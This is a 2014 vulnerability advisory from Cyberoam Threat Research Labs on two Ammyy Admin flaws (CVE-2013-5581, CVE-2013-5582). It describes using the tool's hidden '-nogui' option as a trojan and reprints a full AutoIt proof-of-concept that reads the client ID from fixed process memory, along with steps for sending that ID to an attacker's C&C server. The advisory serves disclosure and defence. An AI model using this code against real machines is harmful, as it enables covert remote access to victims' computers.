1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510 | Title:
====
Ammyy Admin - Hidden hard-coded option and Access Control vulnerability.
Credit:
======
Name: Bhadresh Patel
Company/affiliation: Cyberoam Technologies Private Limited
Website: www.cyberoam.com
CVE:
====
- CVE-2013-5581 for hidden hard-coded option (CWE-255).
- CVE-2013-5582 for failure to enforce access restrictions for resources (CWE-264).
Date:
====
17-01-2014
CL-ID:
====
CRD-2013-04
Vendor:
======
Ammyy is in to developing cutting edge internet solutions. They have researched informational technologies and automation management of remote computer access services for many years. The result of their efforts is new Remote Access system "Ammyy Admin".
Product:
=======
Ammyy Admin is the easiest way to establish remote desktop connection. You can easily share a remote desktop or control a server over the Internet with Ammyy Admin.
No matter where you are, Ammyy Admin makes it safe and easy to quickly access a remote desktop within a few seconds.
Ammyy Admin is trusted by more than 21 000 000 personal and corporate users.
Product link: http://www.ammyy.com/en/downloads.html
Abstract:
=======
Cyberoam Threat Research Labs discovered Hidden option and Access Control vulnerability in Ammyy Admin tool.
Report-Timeline (DD-MM-YYYY):
====================
12-08-2013: Vendor notification
13-08-2013: Vendor Response/Feedback
13-12-2013: Vendor Fix/Patch
17-01-2014: Public or Non-Public Disclosure
Affected Version:
=============
Version (<=3.2)
Exploitation-Technique:
===================
Local
Severity Rating:
===================
CVSS Base Score 7.2 (AV:N/AC:M/Au:N/C:N/I:N/A:P)
Details:
=======
There is a Hidden option and Access Control vulnerability in Ammyy Admin tool which allows an attacker to utilize "Ammyy Admin tool" as a trojan horse to access computer without victim's information.
An approach to have hidden option "-nogui" along with storing "client ID" at fixed memory location could be exploited by an attacker to use "Ammyy Admin" as a trojan horse.
Proof Of Concept:
================
An attacker could exploit above vulnerabilities using following steps,
1) Create custom settings.rdp and settings3.bin to allow access to any "computer ID" with predefined password.
2) Use hidden option "-nogui" to run "Ammyy Amin" without the user information.
2) Acquire the client id by reading memory location "004A3658".
3) Send client id to attackers C&C server.
-------- Logs -------
###### Hidden hard-coded option (CVE-2013-5581) ######
root@bhdresh:~# strings AA_v3.2.exe | grep -i ^"-"
-f=*
- 5H
-connect
-set_proxy_
-dosas_
-elevated
-log
-lunch
-nogui
-service
-debug
-remove
-install
-outid
-setsettings
-rstid
-showversion
-notstartclient
-startclient
-minimize
-+/3
#### client ID at Fixed memory location (CVE-2013-5582) ####
=======PoC screenshot=======
http://oi42.tinypic.com/34owtoy.jpg
=======PoC autoit code to hijack client ID=======
Func _memoryopen($iv_pid, $iv_desiredaccess = 2035711, $iv_inherithandle = 1)
If NOT ProcessExists($iv_pid) Then
SetError(1)
Return 0
EndIf
Local $ah_handle[2] = [DllOpen("kernel32.dll")]
If @error Then
SetError(2)
Return 0
EndIf
Local $av_openprocess = DllCall($ah_handle[0], "int", "OpenProcess", "int", $iv_desiredaccess, "int", $iv_inherithandle, "int", $iv_pid)
If @error Then
DllClose($ah_handle[0])
SetError(3)
Return 0
EndIf
$ah_handle[1] = $av_openprocess[0]
Return $ah_handle
EndFunc
Func _memoryread($iv_address, $ah_handle, $sv_type = "dword")
If NOT IsArray($ah_handle) Then
SetError(1)
Return 0
EndIf
Local $v_buffer = DllStructCreate($sv_type)
If @error Then
SetError(@error + 1)
Return 0
EndIf
DllCall($ah_handle[0], "int", "ReadProcessMemory", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")
If NOT @error Then
Local $v_value = DllStructGetData($v_buffer, 1)
Return $v_value
Else
SetError(6)
Return 0
EndIf
EndFunc
Func _memorywrite($iv_address, $ah_handle, $v_data, $sv_type = "dword")
If NOT IsArray($ah_handle) Then
SetError(1)
Return 0
EndIf
Local $v_buffer = DllStructCreate($sv_type)
If @error Then
SetError(@error + 1)
Return 0
Else
DllStructSetData($v_buffer, 1, $v_data)
If @error Then
SetError(6)
Return 0
EndIf
EndIf
DllCall($ah_handle[0], "int", "WriteProcessMemory", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")
If NOT @error Then
Return 1
Else
SetError(7)
Return 0
EndIf
EndFunc
Func _memoryclose($ah_handle)
If NOT IsArray($ah_handle) Then
SetError(1)
Return 0
EndIf
DllCall($ah_handle[0], "int", "CloseHandle", "int", $ah_handle[1])
If NOT @error Then
DllClose($ah_handle[0])
Return 1
Else
DllClose($ah_handle[0])
SetError(2)
Return 0
EndIf
EndFunc
Func setprivilege($privilege, $benable)
Const $token_adjust_privileges = 32
Const $token_query = 8
Const $se_privilege_enabled = 2
Local $htoken, $sp_auxret, $sp_ret, $hcurrprocess, $ntokens, $ntokenindex, $priv
$ntokens = 1
$luid = DllStructCreate("dword;int")
If IsArray($privilege) Then $ntokens = UBound($privilege)
$token_privileges = DllStructCreate("dword;dword[" & (3 * $ntokens) & "]")
$newtoken_privileges = DllStructCreate("dword;dword[" & (3 * $ntokens) & "]")
$hcurrprocess = DllCall("kernel32.dll", "hwnd", "GetCurrentProcess")
$sp_auxret = DllCall("advapi32.dll", "int", "OpenProcessToken", "hwnd", $hcurrprocess[0], "int", BitOR($token_adjust_privileges, $token_query), "int*", 0)
If $sp_auxret[0] Then
$htoken = $sp_auxret[3]
DllStructSetData($token_privileges, 1, 1)
$ntokenindex = 1
While $ntokenindex <= $ntokens
If IsArray($privilege) Then
$priv = $privilege[$ntokenindex - 1]
Else
$priv = $privilege
EndIf
$ret = DllCall("advapi32.dll", "int", "LookupPrivilegeValue", "str", "", "str", $priv, "ptr", DllStructGetPtr($luid))
If $ret[0] Then
If $benable Then
DllStructSetData($token_privileges, 2, $se_privilege_enabled, (3 * $ntokenindex))
Else
DllStructSetData($token_privileges, 2, 0, (3 * $ntokenindex))
EndIf
DllStructSetData($token_privileges, 2, DllStructGetData($luid, 1), (3 * ($ntokenindex - 1)) + 1)
DllStructSetData($token_privileges, 2, DllStructGetData($luid, 2), (3 * ($ntokenindex - 1)) + 2)
DllStructSetData($luid, 1, 0)
DllStructSetData($luid, 2, 0)
EndIf
$ntokenindex += 1
WEnd
$ret = DllCall("advapi32.dll", "int", "AdjustTokenPrivileges", "hwnd", $htoken, "int", 0, "ptr", DllStructGetPtr($token_privileges), "int", DllStructGetSize($newtoken_privileges), "ptr", DllStructGetPtr($newtoken_privileges), "int*", 0)
$f = DllCall("kernel32.dll", "int", "GetLastError")
EndIf
$newtoken_privileges = 0
$token_privileges = 0
$luid = 0
If $sp_auxret[0] = 0 Then Return 0
$sp_auxret = DllCall("kernel32.dll", "int", "CloseHandle", "hwnd", $htoken)
If NOT $ret[0] AND NOT $sp_auxret[0] Then Return 0
Return $ret[0]
EndFunc
Func _memorypointerread($iv_address, $ah_handle, $av_offset, $sv_type = "dword")
If IsArray($av_offset) Then
If IsArray($ah_handle) Then
Local $iv_pointercount = UBound($av_offset) - 1
Else
SetError(2)
Return 0
EndIf
Else
SetError(1)
Return 0
EndIf
Local $iv_data[2], $i
Local $v_buffer = DllStructCreate("dword")
For $i = 0 To $iv_pointercount
If $i = $iv_pointercount Then
$v_buffer = DllStructCreate($sv_type)
If @error Then
SetError(@error + 2)
Return 0
EndIf
$iv_address = "0x" & Hex($iv_data[1] + $av_offset[$i])
DllCall($ah_handle[0], "int", "ReadProcessMemory", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")
If @error Then
SetError(7)
Return 0
EndIf
$iv_data[1] = DllStructGetData($v_buffer, 1)
ElseIf $i = 0 Then
DllCall($ah_handle[0], "int", "ReadProcessMemory", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")
If @error Then
SetError(7)
Return 0
EndIf
$iv_data[1] = DllStructGetData($v_buffer, 1)
Else
$iv_address = "0x" & Hex($iv_data[1] + $av_offset[$i])
DllCall($ah_handle[0], "int", "ReadProcessMemory", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")
If @error Then
SetError(7)
Return 0
EndIf
$iv_data[1] = DllStructGetData($v_buffer, 1)
EndIf
Next
$iv_data[0] = $iv_address
Return $iv_data
EndFunc
Func _memorypointerwrite($iv_address, $ah_handle, $av_offset, $v_data, $sv_type = "dword")
If IsArray($av_offset) Then
If IsArray($ah_handle) Then
Local $iv_pointercount = UBound($av_offset) - 1
Else
SetError(2)
Return 0
EndIf
Else
SetError(1)
Return 0
EndIf
Local $iv_structdata, $i
Local $v_buffer = DllStructCreate("dword")
For $i = 0 To $iv_pointercount
If $i = $iv_pointercount Then
$v_buffer = DllStructCreate($sv_type)
If @error Then
SetError(@error + 3)
Return 0
EndIf
DllStructSetData($v_buffer, 1, $v_data)
If @error Then
SetError(8)
Return 0
EndIf
$iv_address = "0x" & Hex($iv_structdata + $av_offset[$i])
DllCall($ah_handle[0], "int", "WriteProcessMemory", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")
If @error Then
SetError(9)
Return 0
Else
Return $iv_address
EndIf
ElseIf $i = 0 Then
DllCall($ah_handle[0], "int", "ReadProcessMemory", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")
If @error Then
SetError(3)
Return 0
EndIf
$iv_structdata = DllStructGetData($v_buffer, 1)
Else
$iv_address = "0x" & Hex($iv_structdata + $av_offset[$i])
DllCall($ah_handle[0], "int", "ReadProcessMemory", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")
If @error Then
SetError(3)
Return 0
EndIf
$iv_structdata = DllStructGetData($v_buffer, 1)
EndIf
Next
EndFunc
Func _memorygetbaseaddress($ah_handle, $ihexdec = 0)
Local $iv_address = 1048576
Local $v_buffer = DllStructCreate("dword;dword;dword;dword;dword;dword;dword")
Local $vdata
Local $vtype
If NOT IsArray($ah_handle) Then
SetError(1)
Return 0
EndIf
DllCall($ah_handle[0], "int", "VirtualQueryEx", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer))
If NOT @error Then
$vdata = Hex(DllStructGetData($v_buffer, 2))
$vtype = Hex(DllStructGetData($v_buffer, 3))
While $vtype <> "00000080"
DllCall($ah_handle[0], "int", "VirtualQueryEx", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer))
$vdata = Hex(DllStructGetData($v_buffer, 2))
$vtype = Hex(DllStructGetData($v_buffer, 3))
If Hex($iv_address) = "01000000" Then ExitLoop
$iv_address += 65536
WEnd
If $vtype = "00000080" Then
SetError(0)
If $ihexdec = 1 Then
Return Dec($vdata)
Else
Return $vdata
EndIf
Else
SetError(2)
Return 0
EndIf
Else
SetError(3)
Return 0
EndIf
EndFunc
Func _memorymodulegetbaseaddress($ipid, $smodule)
If NOT ProcessExists($ipid) Then Return SetError(1, 0, 0)
If NOT IsString($smodule) Then Return SetError(2, 0, 0)
Local $psapi = DllOpen("psapi.dll")
Local $hprocess
Local $permission = BitOR(2, 1024, 8, 16, 32)
If $ipid > 0 Then
Local $hprocess = DllCall("kernel32.dll", "ptr", "OpenProcess", "dword", $permission, "int", 0, "dword", $ipid)
If $hprocess[0] Then
$hprocess = $hprocess[0]
EndIf
EndIf
Local $modules = DllStructCreate("ptr[1024]")
Local $acall = DllCall($psapi, "int", "EnumProcessModules", "ptr", $hprocess, "ptr", DllStructGetPtr($modules), "dword", DllStructGetSize($modules), "dword*", 0)
If $acall[4] > 0 Then
Local $imodnum = $acall[4] / 4
Local $atemp
For $i = 1 To $imodnum
$atemp = DllCall($psapi, "dword", "GetModuleBaseNameW", "ptr", $hprocess, "ptr", Ptr(DllStructGetData($modules, 1, $i)), "wstr", "", "dword", 260)
If $atemp[3] = $smodule Then
DllClose($psapi)
Return Ptr(DllStructGetData($modules, 1, $i))
EndIf
Next
EndIf
DllClose($psapi)
Return SetError(-1, 0, 0)
EndFunc
#EndRegion
Func _memreaddll($dll, $offset, $ah_handle, $sv_type = "dword")
$staticoffset = Dec($offset)
$baseaddr = _memorymodulegetbaseaddress($ah_handle, $dll)
$finaladdr = "0x" & Hex($baseaddr + $staticoffset)
$memtest = _memoryread($finaladdr, $ah_handle, $sv_type)
Return $memtest
EndFunc
Func _memwritedll($dll, $offset, $value, $ah_handle, $sv_type = "dword")
$staticoffset = Dec($offset)
$baseaddr = _memorymodulegetbaseaddress($ah_handle, $dll)
$finaladdr = "0x" & Hex($baseaddr + $staticoffset)
$memtest = _memorywrite($finaladdr, $ah_handle, $value, $sv_type)
Return $memtest
EndFunc
Func _memwritedllbytearray($dll, $offset, $ah_handle, $v_array)
Local $staticoffset = Dec($offset)
Local $baseaddr = _memorymodulegetbaseaddress($ah_handle, $dll)
Local $finaladdr = "0x" & Hex($baseaddr + $staticoffset)
Local $memtest = _memorywritebytearray($finaladdr, $ah_handle, $v_array)
Return $memtest
EndFunc
Func _memorywritebytearray($iv_address, $ah_handle, $v_array)
If NOT IsArray($ah_handle) Then
SetError(1)
Return 0
EndIf
If NOT IsArray($v_array) Then
Return 0
EndIf
Local $emax = UBound($v_array)
Local $bytestring = ""
For $i = 0 To $emax - 1
$bytestring = $bytestring & "byte;"
Next
Local $v_buffer = DllStructCreate($bytestring)
If @error Then
Return 0
Else
For $i = 1 To $emax
DllStructSetData($v_buffer, $i, $v_array[$i - 1])
If @error Then
Return 0
EndIf
Next
EndIf
DllCall($ah_handle[0], "int", "WriteProcessMemory", "int", $ah_handle[1], "int", $iv_address, "ptr", DllStructGetPtr($v_buffer), "int", DllStructGetSize($v_buffer), "int", "")
If NOT @error Then
Return 1
Else
SetError(7)
Return 0
EndIf
EndFunc
FileChangeDir(@TempDir)
FileDelete("id")
$id = ProcessExists("AAv3.exe")
Local $file = FileOpen("id", 1)
$memoryopen = _memoryopen($id)
While 1
$mem_read1 = _memoryread("0x" & "004A3658", $memoryopen)
If NOT $mem_read1 = "" Then
MsgBox(0, "Cyberoam Threat Research Labs", $mem_read1)
FileWrite($file, $mem_read1)
ExitLoop
EndIf
Sleep(100)
WEnd
_memoryclose($memoryopen)
==========================================
--------------------------
Caveats / Prerequisites:
======================
The attacker needs to entice victims to perform an action in order to exploit this vulnerability.
Risk:
=====
The security risk of Hidden option and Access Control vulnerability is estimated as High.
Credits:
=======
Cyberoam Threat Research Labs - Bhadresh Patel
Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Any modified copy or reproduction, including partially usages, of this file requires authorization from Cyberoam Threat Research Labs. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Cyberoam Threat Research Labs.
The first attempt at contact will be through any appropriate contacts or formal mechanisms listed on the vendor Web site, or by sending an e-mail with the pertinent information about the vulnerability. Simultaneous with the vendor being notified, Cyberoam may distribute vulnerability protection filters to its customers' IPS devices through the IPS upgrades.
If a vendor fails to respond after five business days, Cyberoam Threat Research Labs may issue a public advisory disclosing its findings fifteen business days after the initial contact.
If a vendor response is received within the timeframe outlined above, Cyberoam Threat Research Labs will allow the vendor 6-months to address the vulnerability with a patch. At the end of the deadline if a vendor is not responsive or unable to provide a reasonable statement as to why the vulnerability is not fixed, the Cyberoam Threat Research Labs will publish a limited advisory to enable the defensive community to protect the user. We believe that by doing so the vendor will understand the responsibility they have to their customers and will react appropriately.
Cyberoam Threat Research Labs will make every effort to work with vendors to ensure they understand the technical details and severity of a reported security flaw. If a product vendor is unable to, or chooses not to, patch a particular security flaw, Cyberoam Threat Research Labs will offer to work with that vendor to publicly disclose the flaw with some effective workarounds.
Before public disclosure of a vulnerability, Cyberoam Threat Research Labs may share technical details of the vulnerability with other security vendors who are in a position to provide a protective response to a broader user base.
-------------------------------------------------------------------------------------------------------
|